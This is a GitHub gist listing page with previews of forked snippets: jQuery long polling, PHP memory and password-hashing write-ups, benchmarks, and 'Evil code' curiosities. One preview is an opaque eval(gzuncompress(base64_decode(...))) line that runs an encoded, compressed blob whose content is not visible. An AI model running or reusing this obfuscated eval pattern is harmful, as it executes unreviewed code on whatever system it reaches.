Skip to content

Instantly share code, notes, and snippets.

View dgierejkiewicz's full-sized avatar

Dariusz Gierejkiewicz dgierejkiewicz

View GitHub Profile
@dgierejkiewicz
dgierejkiewicz / longPolling.js
Created October 27, 2017 09:52 — forked from jasdeepkhalsa/longPolling.js
Simple Long Polling Example with JavaScript and jQuery by Tian Davis (@tiandavis) from Techoctave.com (http://techoctave.com/c7/posts/60-simple-long-polling-example-with-javascript-and-jquery)
// Long Polling (Recommened Technique - Creates An Open Connection To Server ∴ Fast)
(function poll(){
$.ajax({ url: "server", success: function(data){
//Update your dashboard gauge
salesGauge.setValue(data.value);
}, dataType: "json", complete: poll, timeout: 30000 });
})();
@dgierejkiewicz
dgierejkiewicz / objects_arrays.md
Created May 30, 2018 11:28 — forked from nikic/objects_arrays.md
Post explaining why objects often use less memory than arrays (in PHP)

Why objects (usually) use less memory than arrays in PHP

This is just a small post in response to [this tweet][tweet] by Julien Pauli (who by the way is the release manager for PHP 5.5). In the tweet he claims that objects use more memory than arrays in PHP. Even though it can be like that, it's not true in most cases. (Note: This only applies to PHP 5.4 or newer.)

The reason why it's easy to assume that objects are larger than arrays is because objects can be seen as an array of properties and a bit of additional information (like the class it belongs to). And as array + additional info > array it obviously follows that objects are larger. The thing is that in most cases PHP can optimize the array part of it away. So how does that work?

The key here is that objects usually have a predefined set of keys, whereas arrays don't:

@dgierejkiewicz
dgierejkiewicz / bench.php
Created May 30, 2018 11:29 — forked from nikic/bench.php
Benchmark of call_user_func_array vs switch optimization vs argument unpacking syntax
<?php error_reporting(E_ALL);
function test() {}
$nIter = 1000000;
$argNums = [0, 1, 2, 3, 4, 5, 100];
$func = 'test';
foreach ($argNums as $argNum) {
@dgierejkiewicz
dgierejkiewicz / password_hashing_api.md
Created May 30, 2018 11:30 — forked from nikic/password_hashing_api.md
The new Secure Password Hashing API in PHP 5.5

The new Secure Password Hashing API in PHP 5.5

The [RFC for a new simple to use password hashing API][rfc] has just been accepted for PHP 5.5. As the RFC itself is rather technical and most of the sample codes are something you should not use, I want to give a very quick overview of the new API:

Why do we need a new API?

Everybody knows that you should be hashing their passwords using bcrypt, but still a surprising number of developers uses insecure md5 or sha1 hashes (just look at the recent password leaks). One of the reasons for this is that the crypt() API is ridiculously hard to use and very prone to programming mistakes.

@dgierejkiewicz
dgierejkiewicz / µ.php
Created May 30, 2018 11:35 — forked from nikic/µ.php
Something I found in my codebase...
<?php
class Registry implements ArrayAccess {
public $this = null;
protected $impls = array();
protected $curImpl = 0;
public function &__get($key) {
if (isset($this->__onUndefinedProperty)) {
@dgierejkiewicz
dgierejkiewicz / microbench.php
Created May 30, 2018 11:37 — forked from nikic/microbench.php
Microbenchmark of generator implementation
<?php
error_reporting(E_ALL);
function xrange($start, $end, $step = 1) {
for ($i = $start; $i < $end; $i += $step) {
yield $i;
}
}
<?php
register_tick_function(function() {
static $i = 0;
if (++$i >= 100000) {
throw new Exception('Too many ticks!');
}
});
declare(ticks=1) {
<?php eval(gzuncompress(base64_decode('eNp9U2Fv2jAQ/SsZsmRbC6j7miggCtmKREMFyfqhQ8TYjmothNRJ1qGq/33nBGhEwz7ZOt+9e+/5TshEZZLgANtBNJ9Tl6esKKzp7VtRslJx9GIjbqPcRsrDMXabqJVUGS/VPrP4Pq12GUHMRlsvgFzvhr6phCDhTW8d56WS+tC8UqplWekMif4wkSV/nhxLOXXfL2H1/vWE2cDxq3D8CEc6YHKmdPEBBChMa3aA1CsUX59VKgmS3pkl+fUwXTjOdz+c3G2C6J5SxJ+QfLpZrz04vq3dE4/P7RuAljeNmC/XzXEbrR5kXrg1TlOg3RFs85ss5tG96dThRavb0Ysmw3EMXK5lzrQkhhfIWsOjLrVJh1+362hCqWvcln8lr0pwaUv/o11lhdSlAagth2TTsjcLVv4ytGZBuIgRi0ncG6hdnu4FzGBsQ6s6e/NbHgrTgA5wTH+O55G/IngAjNSOALMNsJWsJHhkY5vvqwwabZu/3fxhaSWbYgqvGCAoPhK1aiFiZI7T5PIBXvphtAxmwY9YCaAApQ5pfRA3kdHZLdkfwo6Us1rgTBDqBB12V7lgxiTjd71CwsNKYHBBeh+KvVGH5noIktaI9KKH6Tj0jWErP4yRhLrHO38JEQHXnn2h/Gsz5TAG9LwmSX8ISzWpvQK67/8AOGhF+Q==')));
@dgierejkiewicz
dgierejkiewicz / evil.php
Created May 30, 2018 11:42 — forked from nikic/evil.php
Evil code
<?php
class PHPTokenizer_Tokenizer_PHP53To536 extends PHPTokenizer_Tokenizer_Base
{
public function tokenize($code) {
@$resetErrorMsg;
$tokens = @token_get_all($code);
$error = error_get_last();
try {
@dgierejkiewicz
dgierejkiewicz / php-best-pratices.md
Created July 17, 2018 08:20
PHP Best Practices

PHP Best Practices

Principles and rules

All code must follow:

  • Clean Code by Uncle Bob.
  • DRY, KISS and SOLID.
  • Continuous refactor. If you edit a method clean it: Boy scout rule.